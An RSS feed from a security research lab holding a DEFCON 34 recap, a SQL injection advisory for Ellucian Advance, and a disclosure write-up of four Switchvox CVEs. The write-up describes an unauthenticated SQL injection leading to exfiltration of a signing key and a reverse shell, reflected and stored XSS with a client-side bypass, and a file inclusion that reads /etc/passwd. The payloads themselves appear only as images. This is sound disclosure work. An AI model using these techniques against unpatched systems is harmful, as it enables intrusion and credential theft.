<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>SRA Labs | Cybersecurity Research &amp; Innovation by Security Risk Advisors</title>
    <link>https://labs.sra.io/</link>
    <description>Recent content on SRA Labs | Cybersecurity Research &amp; Innovation by Security Risk Advisors</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Tue, 08 Sep 2026 12:00:00 +0000</lastBuildDate><atom:link href="https://labs.sra.io/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>DEFCON 34 Recap</title>
      <link>https://labs.sra.io/posts/dc34recap/</link>
      <pubDate>Tue, 08 Sep 2026 12:00:00 +0000</pubDate>
      
      <guid>https://labs.sra.io/posts/dc34recap/</guid>
      <description>&lt;p&gt;Oh my God, we&amp;rsquo;re back again! Another year, another DEFCON. And a Backstreet Boys reunion. This year we sent 12 people, gave 1 workshop, gave 1 talk, and participated in 2 panels. This post is gonna be bringing the flavor, showcasing the teams personal highlights from our DEFCON34 experience.&lt;/p&gt;
&lt;h2 id=&#34;sra--defcon&#34;&gt;SRA @ DEFCON&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/sh0ckSec/FlipperHIDecoder&#34; target=&#34;_blank&#34;&gt;Clone to Pwn: Remote Badge Cloning with the Flipper Zero&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;Langston Clement - Physical Security Village (Talk)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Purple Teaming? Simulating the Adversary in the World of AI Systems
&lt;ul&gt;
&lt;li&gt;Evan Perotti - Adversary Village (Panel)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Detection Coverage Is a Hypothesis: Testing it Through Adversarial Execution Variance
&lt;ul&gt;
&lt;li&gt;Connor Jackson, Nahid Sarker, Raphael Soto, Russell Harvey - Adversary Village (Workshop)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;From Threat-Intel to Tested Defense, the Adversary Simulation Playbook
&lt;ul&gt;
&lt;li&gt;Sarah Hume - Adversary Village (Panel)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;highlights&#34;&gt;Highlights&lt;/h2&gt;
&lt;p&gt;Across the 12 of us that went, here are our personal picks for content that stood out:&lt;/p&gt;</description>
      <content>&lt;p&gt;Oh my God, we&amp;rsquo;re back again! Another year, another DEFCON. And a Backstreet Boys reunion. This year we sent 12 people, gave 1 workshop, gave 1 talk, and participated in 2 panels. This post is gonna be bringing the flavor, showcasing the teams personal highlights from our DEFCON34 experience.&lt;/p&gt;
&lt;h2 id=&#34;sra--defcon&#34;&gt;SRA @ DEFCON&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/sh0ckSec/FlipperHIDecoder&#34; target=&#34;_blank&#34;&gt;Clone to Pwn: Remote Badge Cloning with the Flipper Zero&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;Langston Clement - Physical Security Village (Talk)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Purple Teaming? Simulating the Adversary in the World of AI Systems
&lt;ul&gt;
&lt;li&gt;Evan Perotti - Adversary Village (Panel)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Detection Coverage Is a Hypothesis: Testing it Through Adversarial Execution Variance
&lt;ul&gt;
&lt;li&gt;Connor Jackson, Nahid Sarker, Raphael Soto, Russell Harvey - Adversary Village (Workshop)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;From Threat-Intel to Tested Defense, the Adversary Simulation Playbook
&lt;ul&gt;
&lt;li&gt;Sarah Hume - Adversary Village (Panel)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;highlights&#34;&gt;Highlights&lt;/h2&gt;
&lt;p&gt;Across the 12 of us that went, here are our personal picks for content that stood out:&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Title&lt;/th&gt;
          &lt;th&gt;Author&lt;/th&gt;
          &lt;th&gt;Description&lt;/th&gt;
          &lt;th&gt;Link&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;Transformers: Dark Side of the Type - Weaponizing the Conversion Layer&lt;/td&gt;
          &lt;td&gt;Oleksandr Mirosh&lt;/td&gt;
          &lt;td&gt;A new class of attacks that works similarly to insecure deserialization, but targets the type transformation layer rather than a deserializer.&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://i.blackhat.com/BH-USA-26/Presentations/BHUS26-Mirosh-Transformers-Dark-Side-WP.pdf&#34; target=&#34;_blank&#34;&gt;link&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Can AI do novel security research? Meet the HTTP Terminator&lt;/td&gt;
          &lt;td&gt;James Kettle&lt;/td&gt;
          &lt;td&gt;A deep dive into using AI for developing novel attack classes&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://portswigger.net/research/can-ai-do-novel-security-research&#34; target=&#34;_blank&#34;&gt;link&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;CRLF-Powered Desync Attacks: Beheading HTTP Streams&lt;/td&gt;
          &lt;td&gt;Tom Stacey &amp;amp; Tobia Righi&lt;/td&gt;
          &lt;td&gt;Using HTTP Header Injection to enable novel desync attacks&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://portswigger.net/research/crlf-powered-desync-attacks&#34; target=&#34;_blank&#34;&gt;link&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Identity Crisis: Novel Vulnerabilities Leading to Kerberos Downgrade, DoS, and Full Domain Takeover&lt;/td&gt;
          &lt;td&gt;Shai Laron&lt;/td&gt;
          &lt;td&gt;Using unfilterable/invisible Unicode characters to bypass Kerberos uniquiness constraints for SPNs &amp;amp; UPNs&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/&#34; target=&#34;_blank&#34;&gt;link&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Certified Re-Pwned: escalating all the way up&lt;/td&gt;
          &lt;td&gt;Daniel Monzon &amp;amp; Eric Labrador&lt;/td&gt;
          &lt;td&gt;Five new ADCS exploits&lt;/td&gt;
          &lt;td&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Breaking BIOS in ATMs&lt;/td&gt;
          &lt;td&gt;Arnold Jared Morales Yepez&lt;/td&gt;
          &lt;td&gt;Using DMA attacks for ATM jackpotting&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://www.paymentvillage.org/def-con-34/speakers&#34; target=&#34;_blank&#34;&gt;link&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;LaunchBreak: RCE Through Custom URIs&lt;/td&gt;
          &lt;td&gt;Gavin Zhong, Zhengyu Liu, &amp;amp; Jinajia Yu&lt;/td&gt;
          &lt;td&gt;RCE in Electron apps via custom URI schemas&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://media.defcon.org/DEF%20CON%2034/DEF%20CON%2034%20presentations/DEF%20CON%2034%20presentations/DEF%20CON%2034%20-%20Gavin%20Zhong%2C%20Zhengyu%20Liu%2C%20Jianjia%20Yu%20-%20LaunchBreak%20a%20Sip%20of%20Tea%2C%20a%20Click%2C%20and%20a%20Full%20Multi-stage%20Desktop%20Takeover%20-%20launchbreak%201%200.pdf&#34; target=&#34;_blank&#34;&gt;link&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Lights Out – Out Of Band Management Exploitation&lt;/td&gt;
          &lt;td&gt;HD Moore&lt;/td&gt;
          &lt;td&gt;Introduced several new BMC attack techniques&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/runzeroinc/oobscan&#34; target=&#34;_blank&#34;&gt;link&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Click Me: Turning URI Links into Bug Bounty RCEs&lt;/td&gt;
          &lt;td&gt;Tobias Diehl&lt;/td&gt;
          &lt;td&gt;Abusing Windows protocol handlers for RCE&lt;/td&gt;
          &lt;td&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;What Scammers Know That Social Engineers Don&amp;rsquo;t&lt;/td&gt;
          &lt;td&gt;Megan Squire&lt;/td&gt;
          &lt;td&gt;Improve social engineering interactions by learning from techniques used by scammers&lt;/td&gt;
          &lt;td&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Anyone Can Hack IoT - Even Easier Now&lt;/td&gt;
          &lt;td&gt;Andrew Bellini&lt;/td&gt;
          &lt;td&gt;Using AI to perform IoT hacking tasks&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/digitalandrew/Defcon_IoT_Talk/blob/main/Anyone%20Can%20Hack%20IoT%20-%20Even%20Easier%20Now%20%28DC34%29.pdf&#34; target=&#34;_blank&#34;&gt;link&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Bring Your own EDR&lt;/td&gt;
          &lt;td&gt;Shahak Morag&lt;/td&gt;
          &lt;td&gt;Abusing SentinelOne&amp;rsquo;s privileged COM interfaces to attack other EDR processes&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://www.akamai.com/blog/security-research/bring-your-own-edr-turn-commercial-edr-trojan-horse&#34; target=&#34;_blank&#34;&gt;link&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Bypassing the Human EDR&lt;/td&gt;
          &lt;td&gt;Daniel Isler&lt;/td&gt;
          &lt;td&gt;Identify existing phishing/scam training to create pretexts that your target won&amp;rsquo;t flag as suspicious&lt;/td&gt;
          &lt;td&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Lyra&lt;/td&gt;
          &lt;td&gt;Rafael Felix&lt;/td&gt;
          &lt;td&gt;A cross-platform, LLVM-based obfuscator for Rust&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/hakaioffsec/lyra&#34; target=&#34;_blank&#34;&gt;link&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;SilentChrome&lt;/td&gt;
          &lt;td&gt;Gordon Long&lt;/td&gt;
          &lt;td&gt;Using chrome extension hollowing to overwrite legitimate plugins with malicious content&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/asaurusrex/Silent_Chrome&#34; target=&#34;_blank&#34;&gt;link&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;pathfinding.cloud&lt;/td&gt;
          &lt;td&gt;DataDog&lt;/td&gt;
          &lt;td&gt;AWS privilege escalation methods&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://pathfinding.cloud&#34; target=&#34;_blank&#34;&gt;link&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;EvilFont&lt;/td&gt;
          &lt;td&gt;Drew G&lt;/td&gt;
          &lt;td&gt;Hiding invisible machine-readable text in fonts to enable social engineering and prompt injection&lt;/td&gt;
          &lt;td&gt;&lt;a href=&#34;https://github.com/DoctorEww/EvilFontTool&#34; target=&#34;_blank&#34;&gt;link&lt;/a&gt;&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
</content>
    </item>
    
    <item>
      <title>Advisory: Ellucian Advance</title>
      <link>https://labs.sra.io/posts/ellucian/</link>
      <pubDate>Tue, 28 Jul 2026 12:00:00 +0000</pubDate>
      
      <guid>https://labs.sra.io/posts/ellucian/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;
&lt;p&gt;SRA has identified a SQL injection vulnerability in Ellucian Advance Web and Legacy Advance.&lt;/p&gt;
&lt;h1 id=&#34;cve-identifiers&#34;&gt;CVE Identifiers&lt;/h1&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;CVE ID&lt;/th&gt;
          &lt;th&gt;CVE Name&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2026-6881&lt;/td&gt;
          &lt;td&gt;Authenticated SQL Injection Enables Unauthorized Access to Sensitive Information in Ellucian Advance Web and Legacy Advance&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h1 id=&#34;vulnerability-details--description&#34;&gt;Vulnerability Details / Description&lt;/h1&gt;
&lt;h2 id=&#34;cve-2026-6881-authenticated-sql-injection-enables-unauthorized-access-to-sensitive-information-in-ellucian-advance-web-and-legacy-advance&#34;&gt;CVE-2026-6881 Authenticated SQL Injection Enables Unauthorized Access to Sensitive Information in Ellucian Advance Web and Legacy Advance&lt;/h2&gt;
&lt;p&gt;A SQL Injection in the Giving Reports functionality in Ellucian Advance Web and Legacy Advance allows an authenticated attacker to extract sensitive information from databases via a crafted SQL query in the class credit field.&lt;/p&gt;</description>
      <content>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;
&lt;p&gt;SRA has identified a SQL injection vulnerability in Ellucian Advance Web and Legacy Advance.&lt;/p&gt;
&lt;h1 id=&#34;cve-identifiers&#34;&gt;CVE Identifiers&lt;/h1&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;CVE ID&lt;/th&gt;
          &lt;th&gt;CVE Name&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2026-6881&lt;/td&gt;
          &lt;td&gt;Authenticated SQL Injection Enables Unauthorized Access to Sensitive Information in Ellucian Advance Web and Legacy Advance&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h1 id=&#34;vulnerability-details--description&#34;&gt;Vulnerability Details / Description&lt;/h1&gt;
&lt;h2 id=&#34;cve-2026-6881-authenticated-sql-injection-enables-unauthorized-access-to-sensitive-information-in-ellucian-advance-web-and-legacy-advance&#34;&gt;CVE-2026-6881 Authenticated SQL Injection Enables Unauthorized Access to Sensitive Information in Ellucian Advance Web and Legacy Advance&lt;/h2&gt;
&lt;p&gt;A SQL Injection in the Giving Reports functionality in Ellucian Advance Web and Legacy Advance allows an authenticated attacker to extract sensitive information from databases via a crafted SQL query in the class credit field.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The CVSS severity level of this vulnerability has been calculated to be 9.4 (Critical)&lt;/p&gt;
&lt;p&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L&lt;/p&gt;
&lt;h1 id=&#34;affected-versions-and-models&#34;&gt;Affected Versions and Models&lt;/h1&gt;
&lt;p&gt;Affects all versions of Ellucian Advance Web before AWA-2022-ORA-17.&lt;/p&gt;
&lt;p&gt;Affects all versions of Ellucian Legacy Advance before AWA-2022-ORA-17.&lt;/p&gt;
&lt;p&gt;Ellucian CRM Advance is not impacted.&lt;/p&gt;
&lt;h1 id=&#34;mitre-cwe-weakness-enumeration&#34;&gt;MITRE CWE Weakness Enumeration&lt;/h1&gt;
&lt;p&gt;CWE-89 Improper neutralization of special elements used in an SQL command (&amp;lsquo;SQL injection&amp;rsquo;)&lt;/p&gt;
&lt;h1 id=&#34;remediation-options&#34;&gt;Remediation Options&lt;/h1&gt;
&lt;p&gt;Apply hotfix AWA-2022-ORA-17.&lt;/p&gt;
&lt;h1 id=&#34;source&#34;&gt;Source&lt;/h1&gt;
&lt;p&gt;These vulnerabilities were discovered by Jeremy Slaven, Dylan Eliasson, and Mark Blaho as part of research performed by Security Risk Advisors.&lt;/p&gt;
&lt;h1 id=&#34;timeframe&#34;&gt;Timeframe&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;April 24, 2026 - SRA submits vulnerability to vendor&lt;/li&gt;
&lt;li&gt;May 15, 2026 - Vendor releases hotfix&lt;/li&gt;
&lt;li&gt;July 28, 2026 - SRA publishes CVEs and advisory&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>From Portal to Pivot: Four CVEs in Switchvox SMB Web Application</title>
      <link>https://labs.sra.io/posts/switchvox-post/</link>
      <pubDate>Tue, 21 Jul 2026 12:00:00 +0000</pubDate>
      
      <guid>https://labs.sra.io/posts/switchvox-post/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;
&lt;p&gt;During a client application security assessment, SRA identified multiple high-impact vulnerabilities in &lt;a href=&#34;https://sangomakb.atlassian.net/wiki/spaces/Switchvox/pages/1021739011/Switchvox&amp;#43;-&amp;#43;Release&amp;#43;Notes&amp;#43;Version&amp;#43;8.3&amp;#43;Oct&amp;#43;28&amp;#43;2025&#34; target=&#34;_blank&#34;&gt;Switchvox SMB version 8.3 (104997)&lt;/a&gt;, a VoIP management platform.
These issues included unauthenticated SQL injection leading to remote code execution, reflected and stored cross-site scripting (XSS), and a local file inclusion (LFI).
We successfully reproduced the issues in a controlled lab environment and disclosed them to the vendor. This post walks through the details of each CVE.&lt;/p&gt;
&lt;h1 id=&#34;introduction&#34;&gt;Introduction&lt;/h1&gt;
&lt;p&gt;We first encountered Switchvox SMB Web Admin Portal during a web assessment.
Initial probing revealed a fairly complex architecture, including an NGINX reverse proxy that sent backend requests to multiple Apache and NodeJS backend services that controlled CGI-driven endpoints.
While early testing identified unusual behavior around input handling, we needed more visibility into how the application processed requests internally.
Fortunately, the vendor documentation provided &lt;a href=&#34;https://sangomakb.atlassian.net/wiki/spaces/Switchvox/pages/431259708/Switchvox&amp;#43;-&amp;#43;Downloads&#34; target=&#34;_blank&#34;&gt;downloadable ISO images&lt;/a&gt; of the full Switchvox operating system.
These images are intended for customers to deploy the software in virtualized environments, but they also gave us an opportunity to replicate the target system locally.&lt;/p&gt;</description>
      <content>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;
&lt;p&gt;During a client application security assessment, SRA identified multiple high-impact vulnerabilities in &lt;a href=&#34;https://sangomakb.atlassian.net/wiki/spaces/Switchvox/pages/1021739011/Switchvox&amp;#43;-&amp;#43;Release&amp;#43;Notes&amp;#43;Version&amp;#43;8.3&amp;#43;Oct&amp;#43;28&amp;#43;2025&#34; target=&#34;_blank&#34;&gt;Switchvox SMB version 8.3 (104997)&lt;/a&gt;, a VoIP management platform.
These issues included unauthenticated SQL injection leading to remote code execution, reflected and stored cross-site scripting (XSS), and a local file inclusion (LFI).
We successfully reproduced the issues in a controlled lab environment and disclosed them to the vendor. This post walks through the details of each CVE.&lt;/p&gt;
&lt;h1 id=&#34;introduction&#34;&gt;Introduction&lt;/h1&gt;
&lt;p&gt;We first encountered Switchvox SMB Web Admin Portal during a web assessment.
Initial probing revealed a fairly complex architecture, including an NGINX reverse proxy that sent backend requests to multiple Apache and NodeJS backend services that controlled CGI-driven endpoints.
While early testing identified unusual behavior around input handling, we needed more visibility into how the application processed requests internally.
Fortunately, the vendor documentation provided &lt;a href=&#34;https://sangomakb.atlassian.net/wiki/spaces/Switchvox/pages/431259708/Switchvox&amp;#43;-&amp;#43;Downloads&#34; target=&#34;_blank&#34;&gt;downloadable ISO images&lt;/a&gt; of the full Switchvox operating system.
These images are intended for customers to deploy the software in virtualized environments, but they also gave us an opportunity to replicate the target system locally.&lt;/p&gt;
&lt;p&gt;We stood up a local development instance of Switchvox in a virtual machine, mirroring the production deployment as closely as possible.
After editing the GRUB configuration to initialize a shell after booting, we had unfettered access to application and system logs, the ability to safely test high-impact exploits without risking production downtime, and access to partially obfuscated Perl source code and default NGINX configurations. This local lab instance dramatically accelerated our findings and allowed us to move from surface-level bugs to full exploitation chains.&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id=&#34;one-request-to-rule-them-all-unauthenticated-sql-injection--rce&#34;&gt;One Request to Rule Them All: Unauthenticated SQL Injection → RCE&lt;/h1&gt;
&lt;p&gt;Through source code analysis, we identified an unauthenticated SQL injection (SQLi) that could result in remote code execution (RCE).&lt;/p&gt;
&lt;p&gt;By investigating the web application components, we identified that the default NGINX reverse proxy listens on ports 80 and 443 and forwards traffic intended for the &lt;code&gt;/pa&lt;/code&gt; endpoint to the &lt;code&gt;pbxportal&lt;/code&gt; Apache application without requiring authentication.&lt;/p&gt;

&lt;img src=&#34;sql_0_nginxconf.png&#34;  class=&#34;center&#34;  style=&#34;border-radius: 8px;&#34;    /&gt;


&lt;p&gt;The &lt;code&gt;http://pbxportal/pa&lt;/code&gt; endpoint is handled by the &lt;code&gt;PhoneConfig::PhoneAppsHandler&lt;/code&gt; Perl class. Searching the codebase on our local testing instance for this resulted in partially-obfuscated Perl source code which we were then able to deobfuscate and analyze.
We found that the &lt;code&gt;pre_cmd&lt;/code&gt; function reachable through this CGI interface automatically forwards any POSTDATA that starts with &lt;code&gt;&amp;lt;PolycomIPPhone&amp;gt;&lt;/code&gt; string literal to the &lt;code&gt;tel_notify()&lt;/code&gt; subroutine.&lt;/p&gt;

&lt;img src=&#34;sql_1_telnotify.png&#34;  class=&#34;center&#34;  style=&#34;border-radius: 8px;&#34;    /&gt;


&lt;p&gt;This &lt;code&gt;tel_notify()&lt;/code&gt; subroutine is the SQL injection sink.
After parsing the expected XML data, the data held by the &lt;code&gt;&amp;lt;PhoneIP&amp;gt;&lt;/code&gt; XML field is concatenated directly into a SQL statement without sanitization, resulting in a blind, unauthenticated SQL injection vulnerability.
The injection was exploitable in a single request, no user interaction was required, and the backend PostgreSQL database was configured to allow for executing system commands.&lt;/p&gt;

&lt;img src=&#34;sql_2_injectionsink.png&#34;  class=&#34;center&#34;  style=&#34;border-radius: 8px;&#34;    /&gt;


&lt;p&gt;As an unauthenticated attacker, we were able to perform arbitrary database operations, including extracting database contents, modifying user records, and escalating privileges to Switchvox web administrators.
In the example below, we exfiltrate the cookie signing key to an external server, allowing us to forge authentication material for arbitrary users.&lt;/p&gt;
&lt;p&gt;
&lt;img src=&#34;sql_2a_request.png&#34;  class=&#34;center&#34;  style=&#34;border-radius: 8px;&#34;    /&gt;


&lt;br&gt;

&lt;img src=&#34;sql_2b_response.png&#34;  class=&#34;center&#34;  style=&#34;border-radius: 8px;&#34;    /&gt;

&lt;/p&gt;
&lt;p&gt;We also successfully executed arbitrary code on the server, invoking a reverse shell on the target machine.&lt;/p&gt;
&lt;p&gt;
&lt;img src=&#34;sql_3_request.png&#34;  class=&#34;center&#34;  style=&#34;border-radius: 8px;&#34;    /&gt;


&lt;br&gt;

&lt;img src=&#34;sql_4_revshell.png&#34;  class=&#34;center&#34;  style=&#34;border-radius: 8px;&#34;    /&gt;

&lt;/p&gt;
&lt;p&gt;This was assigned CVE-2026-9586.&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id=&#34;proceed-with-this-browser-reflected-xss-pre-auth&#34;&gt;“Proceed with This Browser”: Reflected XSS Pre-Auth&lt;/h1&gt;
&lt;p&gt;While investigating portal behavior, we observed a browser compatibility feature that returned an “invalid browser” warning page under certain conditions.
Digging deeper, we found that the &lt;code&gt;portal&lt;/code&gt; URL parameter was reflected directly into JavaScript within responses generated by two CGI handlers for &lt;code&gt;invalid_browser&lt;/code&gt; and &lt;code&gt;invalid_browser_login&lt;/code&gt;, introducing a reflected XSS vulnerability.&lt;/p&gt;
&lt;p&gt;An unauthenticated attacker crafts a malicious URL with a JavaScript payload in the &lt;code&gt;portal&lt;/code&gt; URL parameter.&lt;/p&gt;

&lt;img src=&#34;rxss_0_http.png&#34;  class=&#34;center&#34;  style=&#34;border-radius: 8px;&#34;    /&gt;


&lt;p&gt;The victim is tricked into visiting the link and the payload executes in the victim&amp;rsquo;s browser without any further user interaction.&lt;/p&gt;

&lt;img src=&#34;rxss_1_execution.png&#34;  class=&#34;center&#34;  style=&#34;border-radius: 8px;&#34;    /&gt;


&lt;p&gt;During testing, our payloads allowed for session theft, data exfiltration, invisible redirects, and execution of authenticated actions against the web API.
This was assigned CVE-2026-9585.&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id=&#34;turning-templates-into-traps-stored-xss&#34;&gt;Turning Templates into Traps: Stored XSS&lt;/h1&gt;
&lt;p&gt;Switchvox allows users to customize voicemail notification templates using an HTML editor.
This feature is handled by the &lt;code&gt;submit_modify_voicemail_template&lt;/code&gt; endpoint.
Server-side validation was nonexistent and arbitrary HTML was accepted and stored, malicious JavaScript was not stripped or sanitized, and payloads persisted across sessions.&lt;/p&gt;
&lt;p&gt;An authenticated user can edit stored voicemail notification email templates by accessing the &lt;code&gt;main?cmd=create_voicemail_template&lt;/code&gt; endpoint.
Editing the HTML in the application&amp;rsquo;s text editor will result in errors, as the use of &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags are disallowed by client-side controls.&lt;/p&gt;

&lt;img src=&#34;sxss_0_ui.png&#34;  class=&#34;center&#34;  style=&#34;border-radius: 8px;&#34;    /&gt;


&lt;p&gt;To bypass these client-side controls, intercept the resulting POST request to the &lt;code&gt;cmd=submit_modify_voicemail_template&lt;/code&gt; command.
Modify the benign HTML to arbitrary JavaScript in the &lt;code&gt;template_text&lt;/code&gt; POST parameter.&lt;/p&gt;

&lt;img src=&#34;sxss_2_intercept.png&#34;  class=&#34;center&#34;  style=&#34;border-radius: 8px;&#34;    /&gt;


&lt;p&gt;Then, the attacker can wait for another user to preview the saved template or receive a voicemail notification to their email inbox. Upon opening the template or notification, the malicious JavScript is executed in the context of the victim&amp;rsquo;s browser.&lt;/p&gt;
&lt;p&gt;
&lt;img src=&#34;sxss_3_preview.png&#34;  class=&#34;center&#34;  style=&#34;border-radius: 8px;&#34;    /&gt;


&lt;br&gt;

&lt;img src=&#34;sxss_4_execution.png&#34;  class=&#34;center&#34;  style=&#34;border-radius: 8px;&#34;    /&gt;

&lt;/p&gt;
&lt;p&gt;This finding was assigned CVE-2026-9588.&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id=&#34;playing-the-wrong-file-local-file-inclusion&#34;&gt;Playing the Wrong File: Local File Inclusion&lt;/h1&gt;
&lt;p&gt;Another interesting issue surfaced in the &lt;code&gt;play_file&lt;/code&gt; CGI handler within the &lt;code&gt;MainHandler&lt;/code&gt; class.
This functionality allows users to play audio files from the system.
However, the &lt;code&gt;sound_path&lt;/code&gt; parameter was fully controllable by an authenticated user and not restricted to a safe directory, resulting in a Local File Inclusion (LFI) vulnerability.&lt;/p&gt;
&lt;p&gt;Using this, we were able to read &lt;code&gt;/etc/passwd&lt;/code&gt;, configuration files, and application secrets.&lt;/p&gt;

&lt;img src=&#34;lfi_0_exploit.png&#34;  class=&#34;center&#34;  style=&#34;border-radius: 8px;&#34;    /&gt;


&lt;p&gt;While this did not immediately grant code execution, it provided valuable context for chaining attacks, particularly with the SQL injection.
This was assigned CVE-2026-9587.&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;The multiple vulnerabilities in this software illustrate the importance of in-depth testing.
We were pleased to see that the vendor took action to promptly remediate these vulnerabilities in response to our disclosure.
For official advisory details, see &lt;a href=&#34;https://labs.sra.io/posts/switchvox/&#34; target=&#34;_blank&#34;&gt;Advisory: Sangoma Switchvox SMB&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;timeframe&#34;&gt;Timeframe&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;May 11-26 2026 - SRA discovers and discloses vulnerabilities to Sangoma via &lt;a href=&#34;https://github.com/sangoma/security-switchvox/security&#34; target=&#34;_blank&#34;&gt;GitHub Security Advisories (GHSA)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;June 2, 2026 - Sangoma acknowledges disclosed vulnerabilities and intent to fix.&lt;/li&gt;
&lt;li&gt;July 14, 2026 - Sangoma releases patches for all four disclosed vulnerabilities in &lt;a href=&#34;https://sangomakb.atlassian.net/wiki/spaces/Switchvox/pages/1802371073/Switchvox&amp;#43;-&amp;#43;Release&amp;#43;Notes&amp;#43;Version&amp;#43;8.4.0.2&amp;#43;July&amp;#43;14&amp;#43;2026&#34; target=&#34;_blank&#34;&gt;Switchvox SMB version 8.4.0.2&lt;/a&gt;. Although the release notes do not explicitly mention patches for two of the four disclosed vulnerabilities, Sangoma has confirmed that the patches exist in this version. Validation of the patches included in version 8.4.0.2 could not be completed by SRA, as Sangoma did not provide a publicly accessible ISO for the latest release.&lt;/li&gt;
&lt;li&gt;July 17, 2026 - SRA releases CVEs and technical advisories.&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>Advisory: VSee Clinic</title>
      <link>https://labs.sra.io/posts/vseeclinic/</link>
